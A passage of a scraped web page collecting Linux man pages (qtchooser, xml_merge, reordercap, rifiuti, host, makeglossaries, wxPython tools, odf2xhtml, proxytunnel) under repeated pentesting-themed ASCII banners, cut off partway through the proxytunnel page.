export OPENSSL_CONF_INCLUDE=<path of configuration files> export OPENSSL_MODULES=<provider-path> openssl fipsinstall -config default.cnf

SEE ALSO

config (5), fips_config (5), OSSL_PROVIDER-FIPS (7), EVP_MAC (3)

COPYRIGHT

Copyright 2019-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

6 - Linux cli command qtchooser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qtchooser and provides detailed information about the command qtchooser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qtchooser.

NAME 🖥️ qtchooser 🖥️

a wrapper used to select between Qt development binary versions

SYNOPSIS

qtchooser -list-versions
qtchooser -print-env [**-qt=**version]
qtchooser **-run-tool=tool [-qt=version] [program_arguments]
<executable_name> [
-qt=**version] [program_arguments]

DESCRIPTION

Qt is a cross-platform C++ application framework. Qt’s primary feature is its rich set of widgets that provide standard GUI functionality.

The Qt Chooser provides a wrapper to switch between versions of Qt development binaries when multiple versions like 4 and 5 are installed or local Qt builds are to be used.

It is commonly used via a symlink from an executable_name like qmake.

OPTIONS

The options which apply to the qtchooser command are:

-list-versions

Lists available Qt versions from the configuration files

-print-env

Prints environment information

**-qt=**version

Selects version as the Qt version to be used

**-run-tool=**tool

Runs the selected tool.

ENVIRONMENT

QTCHOOSER_NO_GLOBAL_DIR
If qtchooser has been built with QTCHOOSER_GLOBAL_DIR (predefined search paths for qtchooser’s configuration files, useful in some distros), setting this variable will override its effect.

QT_SELECT
Same as **-qt=**version. If set, the selected configuration is used and binaries symlinked to qtchooser will be executed without additional parameters.

XDG_CONFIG_HOME
XDG_CONFIG_DIRS
Used as specified in <http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html>

FILES

/etc/xdg/qtchooser/*.conf
System-wide configuration files. Each has two lines, the first is the path to the binaries and the second is the path to the Qt libraries. If a default.conf is provided, the settings from it will be automatically used in case nothing else is selected.

$HOME/.config/qtchooser/*.conf
User configuration files.

AUTHOR

qtchooser was written by Thiago Macieira from Intel.

This manual page was written by Timo Jyrinki <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

7 - Linux cli command xml_mergep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml_mergep and provides detailed information about the command xml_mergep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml_mergep.

NAME 🖥️ xml_mergep 🖥️

merge back XML files split with C<xml_split>

DESCRIPTION

xml_merge takes several xml files that have been split using xml_split and recreates a single file.

OPTIONS

-o <output_file>
unless this option is used the program output goes to STDOUT

-i
the files use XInclude instead of processing instructions (they were created using the -i option in xml_split)

-v
verbose output

-V
outputs version and exit

-h
short help

-m
man (requires pod2text to be in the path)

EXAMPLES

xml_merge foo-00.xml # output to stdout xml_merge -o foo.xml foo-00.xml # output to foo.xml

SEE ALSO

XML::Twig, xml_split

TODO/BUGS

AUTHOR

Michel Rodriguez <[email protected]>

LICENSE

This tool is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

8 - Linux cli command reordercap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reordercap and provides detailed information about the command reordercap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reordercap.

NAME 🖥️ reordercap 🖥️

Reorder input file by timestamp into output file

SYNOPSIS

reordercap-n ] <infile> <outfile>

reordercap -h|–help

reordercap -v|–version

DESCRIPTION

Reordercap is a program that reads an input capture file and rewrites the frames to an output capture file, but with the frames sorted by increasing timestamp.

This functionality may be useful when capture files have been created by combining frames from more than one well-synchronised source, but the frames have not been combined in strict time order.

Reordercap writes the output capture file in the same format as the input capture file.

Reordercap is able to detect, read and write the same capture files that are supported by Wireshark. The input file doesn’t need a specific filename extension; the file format and an optional gzip, zstd or lz4 compression will be automatically detected. Near the beginning of the DESCRIPTION section of wireshark(1) or <https://www.wireshark.org/docs/man-pages/wireshark.html> is a detailed description of the way Wireshark handles this, which is the same way reordercap handles this.

OPTIONS

-h|–help

Print the version number and options and exit.

-n

When the -n option is used, reordercap will not write out the output file if it finds that the input file is already in order.

-v|–version

Print the full version information and exit.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

SEE ALSO

pcap(3), wireshark(1), tshark(1), dumpcap(1), editcap(1), mergecap(1), text2pcap(1), pcap-filter(7) or tcpdump(8)

NOTES

This is the manual page for Reordercap 4.2.5. Reordercap is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

It may make sense to move this functionality into editcap, or perhaps mergecap, in which case reordercap could be retired.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Martin Mathieson <martin.r.mathieson[AT]googlemail.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

9 - Linux cli command rifiuti

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rifiuti and provides detailed information about the command rifiuti, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rifiuti.

NAME 🖥️ rifiuti 🖥️

tool to extract information from MS recycle bins info2 files.

SYNOPSIS

rifiuti [-t**] FILE**

DESCRIPTION

rifiuti is a tool to extract valuable information (from a forensics investigator point of view) from MS recycle bins info2 files.

It will extract the deleted time, original drive number, original path ans size of the deleted files found in the recycle bin.

OPTIONS

-t FD
Change the default field delimiter (TAB) to FD.

<file>
INFO2 file to parse.

AUTHOR

This manual page was written by Christophe Monniez <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

10 - Linux cli command host

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command host and provides detailed information about the command host, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the host.

NAME 🖥️ host 🖥️

DNS lookup utility

SYNOPSIS

host [-aACdlnrsTUwv] [-c class] [-N ndots] [-p port] [-R number] [-t type] [-W wait] [-m flag] [ [-4] | [-6] ] [-v] [-V] {name} [server]

DESCRIPTION

host is a simple utility for performing DNS lookups. It is normally used to convert names to IP addresses and vice versa. When no arguments or options are given, host prints a short summary of its command-line arguments and options.

name is the domain name that is to be looked up. It can also be a dotted-decimal IPv4 address or a colon-delimited IPv6 address, in which case host by default performs a reverse lookup for that address. server is an optional argument which is either the name or IP address of the name server that host should query instead of the server or servers listed in /etc/resolv.conf.

OPTIONS

-4
This option specifies that only IPv4 should be used for query transport. See also the -6 option.

-6
This option specifies that only IPv6 should be used for query transport. See also the -4 option.

-a
The -a (“all”) option is normally equivalent to -v -t ANY. It also affects the behavior of the -l list zone option.

-A
The -A (“almost all”) option is equivalent to -a, except that RRSIG, NSEC, and NSEC3 records are omitted from the output.

-c class
This option specifies the query class, which can be used to lookup HS (Hesiod) or CH (Chaosnet) class resource records. The default class is IN (Internet).

-C
This option indicates that named should check consistency, meaning that host queries the SOA records for zone name from all the listed authoritative name servers for that zone. The list of name servers is defined by the NS records that are found for the zone.

-d
This option prints debugging traces, and is equivalent to the -v verbose option.

-l
This option tells named to list the zone, meaning the host command performs a zone transfer of zone name and prints out the NS, PTR, and address records (A/AAAA).

Together, the -l -a options print all records in the zone.

-N ndots
This option specifies the number of dots (ndots) that have to be in name for it to be considered absolute. The default value is that defined using the ndots statement in /etc/resolv.conf, or 1 if no ndots statement is present. Names with fewer dots are interpreted as relative names, and are searched for in the domains listed in the search or domain directive in /etc/resolv.conf.

-p port
This option specifies the port to query on the server. The default is 53.

-r
This option specifies a non-recursive query; setting this option clears the RD (recursion desired) bit in the query. This means that the name server receiving the query does not attempt to resolve name. The -r option enables host to mimic the behavior of a name server by making non-recursive queries, and expecting to receive answers to those queries that can be referrals to other name servers.

-R number
This option specifies the number of retries for UDP queries. If number is negative or zero, the number of retries is silently set to 1. The default value is 1, or the value of the attempts option in /etc/resolv.conf, if set.

-s
This option tells named not to send the query to the next nameserver if any server responds with a SERVFAIL response, which is the reverse of normal stub resolver behavior.

-t type
This option specifies the query type. The type argument can be any recognized query type: CNAME, NS, SOA, TXT, DNSKEY, AXFR, etc.

When no query type is specified, host automatically selects an appropriate query type. By default, it looks for A, AAAA, and MX records. If the -C option is given, queries are made for SOA records. If name is a dotted-decimal IPv4 address or colon-delimited IPv6 address, host queries for PTR records.

If a query type of IXFR is chosen, the starting serial number can be specified by appending an equals sign (=), followed by the starting serial number, e.g., -t IXFR=12345678.

-T, -U
This option specifies TCP or UDP. By default, host uses UDP when making queries; the -T option makes it use a TCP connection when querying the name server. TCP is automatically selected for queries that require it, such as zone transfer (AXFR) requests. Type ANY queries default to TCP, but can be forced to use UDP initially via -U.

-m flag
This option sets memory usage debugging: the flag can be record, usage, or trace. The -m option can be specified more than once to set multiple flags.

-v
This option sets verbose output, and is equivalent to the -d debug option. Verbose output can also be enabled by setting the debug option in /etc/resolv.conf.

-V
This option prints the version number and exits.

-w
This option sets “wait forever”: the query timeout is set to the maximum possible. See also the -W option.

-W wait
This options sets the length of the wait timeout, indicating that named should wait for up to wait seconds for a reply. If wait is less than 1, the wait interval is set to 1 second.

By default, host waits for 5 seconds for UDP responses and 10 seconds for TCP connections. These defaults can be overridden by the timeout option in /etc/resolv.conf.

See also the -w option.

IDN SUPPORT

If host has been built with IDN (internationalized domain name) support, it can accept and display non-ASCII domain names. host appropriately converts character encoding of a domain name before sending a request to a DNS server or displaying a reply from the server. To turn off IDN support, define the IDN_DISABLE environment variable. IDN support is disabled if the variable is set when host runs.

FILES

/etc/resolv.conf

SEE ALSO

dig(1), named(8).

AUTHOR

Internet Systems Consortium

COPYRIGHT

2024, Internet Systems Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

11 - Linux cli command makeglossaries

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makeglossaries and provides detailed information about the command makeglossaries, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makeglossaries.

NAME 🖥️ makeglossaries 🖥️

Calls makeindex/xindy for LaTeX documents using glossaries package

SYNOPSIS

makeglossaries [-o file] [-q] [-Q] [-k] [-n] [-s file] [-t file] [-L language] [-c] [-g] [-l] [-p num] [-r] [-d aux dir] [-m file] [-x file] [-e] [–version] [–help] basename

DESCRIPTION

makeglossaries is designed for use with LaTeX documents that use the glossaries package. The mandatory argument basename should be the name of the LaTeX document without the .tex extension. makeglossaries will read the auxiliary file to determine whether makeindex or xindy should be called. All the information required to be passed to the relevant indexing application should also be contained in the auxiliary file, but may be overridden by the option arguments to makeglossaries.

OPTIONS

-e
Don’t attempt to repair multiple encaps or illegal page number (makeindex only).

-c
Compress intermediate blanks (makeindex only).

-d aux dir
Specify the directory the .aux, .glo etc files are located. Defaults to the parent directory of the base file filename.

-g
Employ German word ordering (makeindex only).

-k
Don’t try forking with piped redirection. (Lessens the effect of -q)

-l
Letter ordering.

-L language
This option only has an effect if xindy is called. Sets the language. See xindy documentation for further details.

-m file
Specify the full path name for makeindex to file in the event that makeindex isn’t on the operating system’s path.

-n
Print the commands that would normally be executed but don’t run them.

-o file
Use file as the output file. (Only suitable for documents containing a single glossary, otherwise each glossary will be overridden.)

-p num
Sets the starting page number to be num (makeindex only).

-q
Quiet mode. Reduces chatter to standard output.

-Q
Silences warning about being unable to fork.

-r

-s file

Use file as the style file. Note that if you use this option, you need to know whether makeindex or xindy will be called, as they have different style files.

-t file
Use file as the transcript file. Disable implicit page range formation (makeindex only).

-x file
Specify the full path name for xindy to file in the event that xindy isn’t on the operating system’s path.

–version
Prints version number and exits.

–help
Prints help message and exits.

REQUIRES

Perl, Getopt::Std, and makeindex or xindy (depending on glossaries package options).

LICENSE

This is free software distributed under the LaTeX Project Public License. There is NO WARRANTY. See <http://www.latex-project.org/lppl.txt> for details.

AUTHOR

Nicola L. C. Talbot, <http://www.dickimaw-books.com/>

RECOMMENDED READING

The glossaries manual:

texdoc glossaries

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

12 - Linux cli command pyslicesshell

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyslicesshell and provides detailed information about the command pyslicesshell, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyslicesshell.

NAME 🖥️ pyslicesshell 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

13 - Linux cli command odf2xhtml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odf2xhtml and provides detailed information about the command odf2xhtml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odf2xhtml.

NAME 🖥️ odf2xhtml 🖥️

Convert ODF to HTML

SYNOPSIS

odf2xhtml [-e] path

DESCRIPTION

odf2xhtml is a program that will create a webpage (.html) from the input file and will write the webpage to stdout.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

OPTIONS

-p, –plain

The -p flag will generate HTML without CSS.

EXAMPLE

odf2xhtml odf-file

SEE ALSO

odf2mht(1)

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

14 - Linux cli command proxytunnel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command proxytunnel and provides detailed information about the command proxytunnel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the proxytunnel.

NAME 🖥️ proxytunnel 🖥️

program to tunnel a connection through a standard HTTPS proxy

SYNOPSIS

proxytunnel [OPTION…] [host:port]

DESCRIPTION

proxytunnel is a program to tunnel any connection through a standard HTTPS proxy, circumventing standard HTTP filtering mechanisms. It’s mostly used as a backend for OpenSSH’s ProxyCommand, and as a proxy backend for Putty. It can also be used for other proxy-traversing purposes like proxy bouncing.

OPTIONS

-i, –inetd

Run from inetd (default: off).

-a, –standalone=[address:]port

Run as standalone daemon on specified address and port. address may be a IPv4 address, a bracket-enclosed IPv6 address or a bracket-enclosed combination of IPv6 address, % and interface name. The latter format is only required with link-local IPv6 addresses. The daemon listens on any address if address is not given.

Examples

22, 123.45.67.89:22, [2001:db8::123:4567:89ab:cdef]:22, [2001:db8::123:4567:89ab:cdef%eth0]:22

-p, –proxy=host:port

Use host and port as the local proxy to connect to, if not specified the HTTP_PROXY environment variable, if set, will be used instead.

-r, –remproxy=host:port

Use host and port as the remote (secondary) proxy to connect to.

-d, –dest=host:port

Use host and port as the destination for the tunnel, you can also specify them as the argument to the proxytunnel command.

-e, –encrypt

SSL encrypt data between local proxy and destination.

-E, –encrypt-proxy

SSL encrypt data between client and local proxy.

-X, –encrypt-remproxy

SSL encrypt data between local and remote (secondary) proxy.

ADDITIONAL OPTIONS

-W, –wa-bug-29744

Workaround ASF Bugzilla 29744: If SSL is in use (by -e, -E, -X options), stop using it immediately after the CONNECT exchange to workaround apache server bugs (This might not work on all setups).

-B, –buggy-encrypt-proxy

Equivalent to -E -W (Provided for backwards compatibility).

-z, –no-check-certificate

Do not verify server SSL certificate when establishing an SSL connection. By default, the server SSL certificate is verified and the target host name is checked against the server certificate’s subject alternative names if any are present, or common name if there are no subject alternative names.

-C, –cacert=filename/directory

Specify a CA certificate file (or directory containing CA certificate(s)) to trust when verifying a server SSL certificate. If a directory is provided, it must be prepared with OpenSSL’s c_rehash tool (default, unless changed at compile time using DEFAULT_CA_FILE or DEFAULT_CA_DIR options: /etc/ssl/certs).

-4, –ipv4

Enforce the use of IPv4 when connecting to the local proxy.

-6, –ipv6

Enforce the use of IPv6 when connecting to the local proxy.

-F, –passfile=filename

Use filename for reading username and password for HTTPS proxy authentication, the file uses the same format as .wgetrc and can be shared with wget. Use this option, or environment variables to hide the password from other users.

-P, –proxyauth=username:password

Use username and password as credentials to authenticate against a local HTTPS proxy, the username and password can also be specified in the PROXYUSER and PROXYPASS environment variables to hide them from other users. If the password is omitted and no PROXYPASS environment variable is set, proxytunnel will prompt for a password.

-R, –remproxyauth=username:password

Use username and password as credentials to authenticate against a remote (secondary) HTTPS proxy, the username and password can also be specified in the REMPROXYUSER and REMPROXYPASS environment variables to hide them from other users. If the password is omitted and no REMPROXYPASS environment variable is set, proxytunnel will prompt for a password.

-c, –cert=filename

Provide the name of the file containing the SSL client certificate to authenticate by client certificate against local proxy, remote proxy or destination. The file must be in PEM format. On top of this it may contain one or more intermediary certificates missing at the servers’s end, effectively forming a certificate chain. Requires specification of -k, –key in addition. Ignored if neither -e, –encrypt nor -E, –encrypt-proxy nor -X, –encrypt-remproxy is given.

-k, –key=filename

Provide the name of the file containing the SSL client key to authenticate by client certificate against local proxy, remote proxy or destination. The file must be in PEM format. Requires specification of -c, –cert in addition. Ignored if neither -e, –encrypt nor -E, –encrypt-proxy nor -X, –encrypt-remproxy is given.

-N, –ntlm

Use NTLM based authentication.

-t, –domain=STRING

Specify NTLM domain (default: autodetect).

-H, –header=STRING

Add additional HTTP headers to send to proxy.

-o, –host=host[:port]

Send a custom Host header. With SSL connections host is also sent as SNI.

-x, –proctitle=STRING

Use a different process title.

MISCELLANEOUS OPTIONS

-v, –verbose

Turn on verbosity.

-q, –quiet

Suppress messages.

-h, –help

Print help and exit.

-V, –version

Print version and exit.

ARGUMENTS

host:port is the destination hostname and port number combination.

Note

Specifying the destination as arguments is exactly the same as specifying them using the -d or –dest option.

USAGE

Depending on your situation you might want to do any of the following things:

·

Connect through a local proxy to your home system on port 22

$ proxytunnel -v -p proxy.company.com:8080 -d system.home.nl:22

·

Connect through a local proxy (with authentication) to your home system

$ proxytunnel -v -p proxy.company.com:8080 -P username:password -d system.home.nl:22

·

Connect through a local proxy (with authentication) hiding your password

$ export PROXYPASS=password $ proxytunnel -v -p proxy.company.com:8080 -P username -d system.home.nl:22

·

Connect through a local proxy to a remote proxy and bounce to any system

$ proxytunnel -v -p proxy.company.com:8080 -r proxy.athome.nl:443 -d system.friend.nl:22

·

Connect using SSL through a local proxy to your home system

$ proxytunnel -v -E -p proxy.company.com:8080 -d system.home.nl:22

OPENSSH CONFIGURATION

To use this program with OpenSSH to connect to a host somewhere, create a ~/.ssh/config file with the following content:

Host system.athome.nl ProxyCommand proxytunnel -p proxy.company.com:8080 -d %h:%p ServerAliveInterval 30

Note

The ServerAliveInterval directive makes sure that idle connections are not being dropped by intermediate firewalls that remove active sessions aggressively. If you see your connection dropping out, try to lower the value even more.

To use the dynamic (SOCKS) portforwarding capability of the SSH client, you can specify the DynamicForward directive in your ssh_config file like:

Host system.athome.nl DynamicForward 1080 ProxyCommand proxytunnel -p proxy.company.com:8080 -d %h:%p ServerAliveInterval 30

NOTES

Important

